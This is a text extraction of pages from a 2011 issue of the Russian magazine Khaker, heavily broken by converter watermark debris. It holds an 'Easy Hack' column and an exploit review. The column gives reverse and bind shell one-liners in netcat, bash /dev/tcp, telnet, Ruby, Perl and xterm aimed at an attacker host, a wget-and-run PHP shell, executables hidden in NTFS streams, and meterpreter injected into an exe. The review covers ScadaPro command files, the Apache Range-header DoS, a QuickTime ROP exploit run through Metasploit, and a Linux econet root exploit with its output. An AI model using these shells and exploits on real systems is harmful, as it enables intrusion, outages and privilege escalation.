Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
7.83 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Записываем исполняемый файл в поток

type C:\windows\system32\calc.exe > test.txt:calc.exe

Запускаем файл из потока (нужно указывать полный путь)

start c:\test.txt:calc.exe

wmic process call create \\.\c:\test.txt:calc.exe

Так как не все программы поддерживают дополнительные потоки, может возникнуть проблема с их открытием. Но она решается за счет создания символических линков с помощью mklink.

mklink link_file.txt test.txt:secrets.txt

Раньше встроенных способов для просмотра потоков в винде не было — теперь же для этого можно воспользоваться стандартной командой для листинга директорий с аргументом /R:

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

EASY HACK

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

dir /R

Кстати, еще одна интересная фича для обычной жизни. Всем известно, что в *nix’ах (UFS) есть жесткие ссылки (hardlink) на файлы, то есть файл у нас фактически один, а ссылок на него – много.

Причем раскиданы они могут быть по всей системе. Так вот в NTFS такая возможность тоже есть, но почему-то она «забылась» и особо не используется. Единственное ограничение для NTFS — жесткие ссылки могут быть только на одном логическом диске. В XP это делается так:

fsutil hardlink create новая_ссылка исходный_файл

Начиная с Vista, это делается утилитой mklink c аргументом '/h':

mklink /h новая_ссылка исходный_файл

ПОЛУЧИТЬШЕЛЛСТАНДАРТНЫМИСРЕДСТВАМИ

ЗАДАЧА

РЕШЕНИЕ

Пару номеров назад мы исследовали всякие ниндзя-трюки в консоли Windows. Было бы неправильно оставить без внимания *nixсистемы. В никсах по сравнению с Windows стандартных возможностей пруд пруди — через консоль возможно практически все. Мы же традиционно коснемся аспекта получения удаленного шелла. Это часто бывает необходимо, например, для развития атаки через какую-то уязвимость на сервере, позволяющую просто выполнять команды. Посуди сам: полноценный шелл всегда гораздо удобнее, чем любой другой костыльный вариант для выполнения команд. Ниже я быстро пробегусь и приведу основные направления получения шелла. Для примера назначим хостом атакующего 192.168.0.1.

Начнем с самого простого:

Бинд-порта у жертвы с редиректом в шелл

nc –l –p 8080 –e '/bin/bash'

Реверс-шелл. Открываем порт у атакующего

nc –l –p 5555

Реверс-шелл. Открываем порт у жертвы

nc 192.168.0.1 5555 –e '/bin/bash'

Если параметр «–e» в netcat недоступен, можно воспользоваться перенаправлением ввода-вывода через FIFO:

Реверс-шелл без –e

mknod bp p; nc 192.168.0.1 5555 0<bp | /bin/bash 1>bp

Если netcat недоступен совсем, то:

Реверс-шелл без netcat

/bin/bash -i > /dev/tcp/192.168.0.1/5555> 0<&1 2>&1

2-й вариант через telnet

mknod bp p; telnet 192.168.0.1 5555 0<bp | /bin/bash 1>bp

Кроме того, с помощью любых скриптовых языков (perl, awk, shell и т.д.) без каких-либо проблем реализуется шелл/реверсшелл.

Реверс-шелл на Ruby:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.1",

"5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print

io.read}end'

То же самое на Perl:

perl -e 'use Socket;$i="192.168.0.1";$p=5555;socket(S,

PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S, sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open( STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Чтобы не заморачиваться с набором кода в консоли и при этом получить хороший шелл, можно загрузить заготовку через wget, отправив ее на исполнение интерпретатору.

wget -O /tmp/shell.php http://192.168.0.1/good_php_shell. txt && php -f /tmp/shell.php

Последний вариант, который я могу предложить, — реверс-шелл через Xterm. Подключение будет происходить на 6001 порт:

Уатакующего

Xnest:1

xhost +ip_жертвы

Ужервы

xterm -display 192.168.0.1:1

Как можно видеть, возможностей для получения шелла масса :).

ВНЕДРИТЬБОЕВУЮНАГРУЗКУВЛЮБОЙEXE-ФАЙЛ

 

 

 

ЗАДАЧА

 

 

 

 

 

 

РЕШЕНИЕ

 

./msfpayload windows/meterpreter/reverse_tcp LPORT=5555 R

Не так давно у msfencode появилась возможность внедрять

| ./msfencode -a x86 -t exe –x cmd.exe –k

пэйлоады в exe-файлы без потери функционала последних. Это

 

 

 

отличается от того, что было ранее. Тогда от exe-файла оставались,

Здесь:

по сути, только ресурсы (иконка, описание) и исходный размер, но

• -x — указание на использование стороннего темплэйта(exe);

исполнялся только пэйлоад. Теперь же пэйлоад может исполняться

• -k — запуск пэйлоада в отдельном потоке.

параллельно в другом потоке процесса.

Все просто и не особо заметно :)

ХАКЕР 11 /154/ 2011

049

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

ВЗЛОМm

/ОБЗОРЭКСПЛОИТОВ

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

ПавелАлександрович(ivinside.blogspot.com)to

 

 

 

 

 

 

 

 

 

 

m

ДмитрийМихайлович(115612,дер.Краснаязвездочка,w

д.1)Click

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0бзор

эксплоитов

Каждаянайденнаяуязвимостьикаждыйнаписанныйдлянееэксплоитвсеближеи ближеподводятнаскпониманиюприродыПО,мотивируяксовершенствованиюкода. Небудемотступатьотэтогоувлекательнейшегопроцессаирассмотримпоэтомуслучаю нескольконовыхэкземпляровизобластиэксплоитостроения.

Множественныеуязвимости

1вMeasuresoftScadaPro

CVSSV2

7.5

(AV:N/AC:L/AU:N/C:P/I:P/A:P)

BRIEF

Последнее время в кругах информационной безопасности стало модно обсуждать баги в различных SCADA-системах, вот и мы решили не отставать от трендов и поведать о том, насколько дырявы они порой бывают. Позволю себе привести выдержку из Википедии, дабы у всех уже, наконец, отпали вопросы о том, что же такое SCADA. SCADA — это программный пакет, предназначенный для разработки или обеспечения работы в реальном времени систем сбора, обработки, отображения и архивирования информации об объекте мониторинга или управления. Короче говоря, это автоматизированная система, которая, как правило, управляет или помогает управлять какими-то сложными системами и процессами на производстве и сложных технических объектах. Подобные задачи решает и продукт ScadaPro от компании Measuresoft. Шаловливые ручки хакеров добрались и до него и обнаружили там просто тонны разных уязвимостей!

EXPLOIT

В рассматриваемой системе присутствует сервис под незамысловатым названием service.exe, слушающий порт под номером 11234. Этому сервису можно передавать некоторые команды, разделенные на группы. Группу определяет второй переданный байт, а первый обозначает саму команду. В процессе тестирования этих команд исследователь под ником aluigi нашел столько различных уязвимостей, что даже не протестировал их все. В основном это были уязвимости типа переполнения буфера, исполнения кода и выхода за

пределы корневой директории. И все эти уязвимости были найдены только при тестировании команд одной из категорий. Возможность атак типа переполнения буфера существует, скорее всего, во всех командах из-за использования функций sscanf и strcpy:

0040A0D9 .

LEA EDX,DWORD PTR SS:[ESP+38]

0040A0DD .

PUSH EDX

 

0040A0DE .

PUSH service.0067D484

; "%s"

0040A0E3 .

PUSH EDI

 

0040A0E4 .

CALL service.004192FB

; sscanf

 

 

 

 

...

 

 

 

 

 

 

0040A114

>

LEA EDX,DWORD PTR SS:[ESP+20]

0040A118 .

MOV EAX,EDI

 

0040A11A .

SUB EDX,EDI

 

0040A11C .

LEA ESP,DWORD PTR SS:[ESP]

 

0040A120

>

MOV CL,BYTE PTR DS:[EAX]

 

0040A122 .

MOV BYTE PTR DS:[EDX+EAX],CL

0040A125 .

ADD EAX,1

 

0040A128 .

TEST CL,CL

 

0040A12A

.^

JNZ SHORT service.0040A120

 

Эксплоит доступен по ссылке: aluigi.org/poc/scadapro_1.zip. В архиве лежат примеры команд для передачи серверу, с помощью которых достигается эксплуатирование описанных ранее багов:

nc SERVER 11234 < scadapro_1b.dat ; прочитать c:\boot.ini

nc SERVER 11234 < scadapro_1c.dat ; создать c:\evil_file.txt

nc SERVER 11234 < scadapro_1d.dat

050

ХАКЕР 11 /154/ 2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Текстфункцииизоригинальногосплоита,убивающегоApache

; удалить c:\valid_file.txt

nc SERVER 11234 < scadapro_1e.dat

; запустить notepad

Спустя несколько дней после релиза PoC появился соответствующий модуль Metasploit, который автоматизирует процессы создания/ удаления/запуска файлов.

TARGETS

Measuresoft ScadaPro <= 4.0.0

SOLUTION

Обновления от разработчиков пока не последовало.

Удаленныйотказвобслуживании

2веб-сервераApache

CVSSV2

7.8

(AV:N/AC:L/AU:N/C:N/I:N/A:С)

BRIEF

В конце августа в рассылке Full Disclosure появился занятный скрипт, который начисто кладет практически все веб-серверы Apache, вплоть до новейших 2.2.x. Это достигается отправкой множества специально сформированных запросов, обрабатывая которые, сервер бодро съедает всю доступную память, не давая при этом нормально функционировать ни себе, ни другим сервисам в системе.

EXPLOIT

Оригинальный код скрипта можно забрать по ссылке goo.gl/DK1pA. Использовать его достаточно просто:

$ perl killapache.pl www.example.com 50

Параметр номер раз — атакуемый хост, параметр номер два — количество потоков, через которые будут долбиться запросы. Сами же запросы выглядят следующим образом:

HEAD / HTTP/1.1

Host: www.example.com

Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,<...>,5-1299,5-1300

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

ОБЗОР ЭКСПЛОИТОВw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Accept-Encoding: gzip

Connection: close

Обрати внимание на используемый здесь заголовок Range. В нем указываются перекрывающиеся диапазоны байтов, из которых в итоге соберется контент. В сочетании с используемым gzip-сжатием (Accept-Encoding: gzip) на операцию сборки затрачивается слишком много памяти. Например, если в заголовке Range передана тысяча диапазонов, то Apache пытается отдельно сжать каждый диапазон, выделяя для каждой операции избыточный по размеру буфер. Спустя некоторое время было так же обнаружено, что такой же уязвимости подвержен устаревший заголовок Request-Range, поддержка которого оставлена для обеспечения совместимости с Netscape Navigator 2-3 и MSIE 3.

По умолчанию эксплоит делает запросы к корневой странице сайта, и поэтому может работать не везде. Но это легко изменить: нужно лишь исправить значение переменной $p, в которой содержатся заголовки будущего запроса, например, изменить «HEAD / HTTP/1.1» на «HEAD /robots.txt HTTP/1.1» или на другой заведомо существующий URL.

Если ты являешься счастливым обладателем сервера с Apache’ем, то рекомендую проверить его на наличие этой баги и принять меры. Провериться можно такой командой:

$ curl -I -H "Range: bytes=0-1,0-2" -s www.example.com/

robots.txt | grep Partial

Если в ответ на этот запрос приходит «206 Partial Content», то тебе не повезло и твой сервер рано или поздно попадет под раздачу. Кроме обновления веб-сервера до версии, где эта бага исправлена, существует несколько способов защититься. Расскажу про них в соответствующем разделе.

TARGETS

Веб-сервер Apache версий 1.3.x, 2.0.x вплоть до 2.0.64 и 2.2.x вплоть до 2.2.19.

SOLUTION

Если у тебя на сервере используется nginx, то можно запретить ему проксировать опасные заголовки с помощью таких директив:

proxy_set_header Range ""; proxy_set_header Request-Range "";

Для самого Apache можно принудительно очищать заголовок Range при помощи mod_header («RequestHeader unset Range» и «RequestHeader unset Request-Range») или блокировать длинные последовательности Range через mod_rewrite:

Вариант 1

RewriteEngine On

RewriteCond %{HTTP:Range} bytes=0-[0-9]+, [NC,OR] RewriteCond %{HTTP:Range} bytes=([0-9-],){4,} [NC,OR] RewriteCond %{HTTP:Range} bytes=[0-9,-]+,0-(,|$) [NC] RewriteRule .? http://%{SERVER_NAME}/ [NS,L,F]

Вариант 2

RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^(HEAD|GET) [NC]

RewriteCond %{HTTP:Range} ([0-9]*-[0-9]*)(\s*,\s*[0-9]*-

[0-9]*)+ RewriteRule .* — [F]

Вариант 3

RewriteEngine On

ХАКЕР 11 /154/ 2011

051

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

ВЗЛОМ/m

ОБЗОРЭКСПЛОИТОВ

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ОдноизоконинтерфейсаScadaPro

RewriteCond %{HTTP:Range} bytes=0-.* [NC] RewriteRule .? http://%{SERVER_NAME}/ [R=302,L]

Но лучше всего, конечно же, обновиться до версии Apache 2.2.20.

AppleQuickTimePICT

3PnSizeBufferOverflow

CVSSV2

9.3

(AV:N/AC:M/AU:N/C:C/I:C/A:C)

BRIEF

Дата релиза: 8 августа 2011 года Автор: MC, corelanc0d3r

CVE: CVE-2011-0257

QuickTime — проприетарная технология компании Apple, разработанная еще в 1991 году для воспроизведения цифрового видео, звука, текста, анимации, музыки и панорамных изображений в различных форматах. QuickTime Player в свою очередь — это бесплатный мультимедийный плеер, который активно используется для просмотра множества различных типов файлов, включая файлы видео, аудио, изображений, графики и фильмов виртуальной реальности (VR).

EXPLOIT

Описываемая уязвимость существует в обработке опкода PnSize PICT-файла. Обработчик преобразует 16-битное беззнаковое значение в 32-битное значение со знаком. Это скопированное

значение позже используется в качестве аргумента для функции, которая копирует данные из файла в стек. В результате происходит переполнение буфера на стеке, которое позволяет осуществить выполнение произвольного кода в контексте текущего пользователя.

PICT-файл начинается заголовком в 512 байт, за которыми следует изображение. В этом файле содержатся структуры данных QuickDraw/Color QuickDraw. QuickDraw-изображение содержит заголовок фиксированной длины, за которыми следуют данные переменного размера, описывающие изображение.

picSize: INTEGER; picFrame: RECT;

После этих полей располагается переменное количество данных, содержащих опкоды. Последние описывают команды рисования и параметры, которые влияют на получаемое изображение. 1-м опкодом в любом изображении должен идти опкод версии, за которым следует версия изображения. 1-й опкод представляет собой 2-байтный опкод версии (0x0011). Далее следуют 2-байтная версия изображения (0x02ff).

Заголовок изображения (фиксированный размер в 30 байт):

$0011

WORD

{опкод версии}

$02FF

WORD

{версия изображения}

$0C00

WORD

{зарезервированный опкод заголовка}

24 байта

 

{зарезервировано}

052

ХАКЕР 11 /154/ 2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

ОБЗОР ЭКСПЛОИТОВw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ПередачауправлениянаROP-цепочкувобработчикеисключения

Данные определяющие изображение (переменного размера):

opcode

WORD

{команда рисования}

 

data . . .

 

 

opcode

WORD

{команда рисования}

 

data . . .

 

 

...

 

 

 

$00FF

WORD

{опкод конца изображения}

 

Выдержка из таблицы опкодов:

 

...

 

 

 

$0006

SpExtra

space extra (fixed point)

4

$0007

PnSize

pen size (point)

4

$0008

PnMode

pen mode (word)

2

...

 

 

 

Среди перечисленных в данной таблице опкодов содержится и опкод PnSize, в обработке которого кроется ошибка, приводящая к уязвимости.

Код, производящий запись на стек

6691CCD8 .

JB SHORT QuickT_1.6691CD04

6691CCDA .

REP MOVS DWORD PTR ES:[EDI],

 

DWORD PTR DS>

6691CCDC .

JMP DWORD PTR DS:[EDX*4+6691CDF4]

После n шагов выполнения кода в edi окажется значение, приводящее к access violation. Но так как SEH-цепочка в ходе этого безум-

ства будет перезаписана нашим значением 0x13BDF8, то мы попадем прямиком на этот адрес. Именно с него и начнет свое исполнение ROP-цепочка, отвечающая за обход DEP и передачу управления на полезную нагрузку.

Трасса исполнения ROP-цепочки:

67202C75

ADD ESP,4D0

 

 

67202C7B

RETN

67E21084

POP ECX

67E21085

RETN

 

 

68994002

MOV EAX,DWORD PTR DS:[ECX]

68994004

RETN

 

 

6696CA36

XCHG EAX,ESI

6696CA37

RETN

 

 

66C78001

POP EBP

66C78002

RETN

 

 

67208003

POP EBX

67208004

RETN

 

 

6783EE02

POP EDX

6783EE03

RETN

 

 

67E21084

POP ECX

67E21085

RETN

ХАКЕР 11 /154/ 2011

053

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

ВЗЛОМm

/ОБЗОРЭКСПЛОИТОВ

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

6762A008

POP EDI

 

 

 

 

 

 

 

6762A009

RETN

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

685A9802

POP EAX

 

 

 

 

 

 

 

685A9803

RETN

 

 

 

 

 

 

 

682F0001

PUSHAD

 

 

 

 

 

 

 

682F0002

RETN

 

 

 

 

 

 

 

66A78005

RETN

Дальше прыгаем на начало полезной нагрузки, располагающейся на стеке (уже имеющем флаг исполнения):

67EB8573

CALL ESP

0013B53C 90909090 ђђђђ

0013B540 EB5903EB л Yл

0013B544 FFF8E805 ишя

0013B548 4949FFFF яяII

...

И напоследок создадим вариацию описываемого эксплоита с классической полезной нагрузкой в виде запускающегося калькулятора в metasploit:

msf > use exploit/windows/fileformat/apple_quicktime_pn-

size

msf exploit(apple_quicktime_pnsize) > set payload win-

dows/exec

payload => windows/exec

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

msf exploit(apple_quicktime_pnsize) > set CMD calc.exe

CMD => calc.exe

msf exploit(apple_quicktime_pnsize) > show options

Module options (exploit/windows/fileformat/apple_quicktime_pnsize):

Name Current Setting Required Description

------------------- -------- -----------

FILENAME

msf.mov

no

The file name.

 

 

Payload options (windows/exec):

 

Name

Current Setting

Required

Description

----

---------------

--------

-----------

CMD • calc.exe • yes • The command string to execute EXITFUNC • process• yes• Exit technique: seh, thread,

process, none

Exploit target:

Id Name

------

0 Windows XP SP3 with DEP bypass

msf exploit(apple_quicktime_pnsize) > exploit

[*] Generated output file /home/lalala/.msf4/data/ex-

ploits/msf.mov

TARGETS

Apple QuickTime Player 7.60.92.0

SOLUTION

Существуют обновления, устраняющие данную уязвимость

SEH-цепочкаперезаписананашимобработчиком

054

ХАКЕР 11 /154/ 2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

LinuxKernel<2.6.36.2EconetPrivilege

4EscalationExploit

CVSSV2

6.2

(AV:L/AC:H/AU:N/C:C/I:C/A:C)

BRIEF

Дата релиза: 5 сентября 2011

Автор: Jon Oberheide, CVE: CVE-2010-4073

EXPLOIT

Экплоит интересен тем, что в своей реализации использует сразу три уязвимости с конечной целью поднятия привилегий на локальной машине. Главной уязвимостью является переполнение стека ядра, а не переполнение буфера на стеке, что описывается в соответствующем CVE. Приведем описания упомянутых используемых CVE-шек:

CVE-2010-3848

Переполнение буфера на стеке в функции econet_sendmsg, располагающейся в net/econet/af_econet.c в ядрах Linux < 2.6.36.2. Когда адрес econet скофигурирован, локальные пользователи имеют возможность повысить привилегии, предоставляя большое число iovec-структур.

CVE-2010-3850

Функция ec_dev_ioctl в net/econet/af_econet.c в ядрах Linux < 2.6.36.2 не требует наличия CAP_NET_ADMIN, что дает возможность локальным пользователям обходить встроенные ограничения доступа и конфигурировать адреса econet через ioctl-вызов SIOCSIFADDR.

CVE-2010-4073

Подсистема ipc в ядрах Linux < 2.6.37-rc1 не инициализирует некоторые структуры, что дает возможность локальным пользователям по-

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

ОБЗОР ЭКСПЛОИТОВw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

лучать потенциально важную информацию из стековой памяти ядра.

Пример использования эксплоита:

$ gcc 17787.c -o expl -lrt

$ ./expl

[+]looking for symbols...

[+]resolved symbol commit_creds to 0xffffffff81088ad0

[+]resolved symbol prepare_kernel_cred to 0xffffffff81088eb0

[+]resolved symbol ia32_sysret to 0xffffffff81046692

[+]spawning children to achieve adjacent kstacks...

[+]found parent kstack at 0xffff88001c6ca000

[+]found adjacent children kstacks at 0xffff88000d10a000 and 0xffff88000d10c000

[+]lower child spawning a helper...

[+]lower child calling compat_sys_wait4 on helper...

[+]helper going to sleep...

[+]upper child triggering stack overflow...

[+]helper woke up

[+]lower child returned from compat_sys_wait4

[+]parent's restart_block has been clobbered

[+]escalating privileges...

[+]launching root shell!

# id

uid=0(root) gid=0(root)

TARGETS

Linux Kernel < 2.6.36.2

SOLUTION

Существуют обновления, устраняющие данную уязвимость. z

Реклама

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

F

 

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

ВЗЛОМm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

 

.c

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

Pr0xor(php.m4sql@gmail.com,rdot.org/forum)w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 
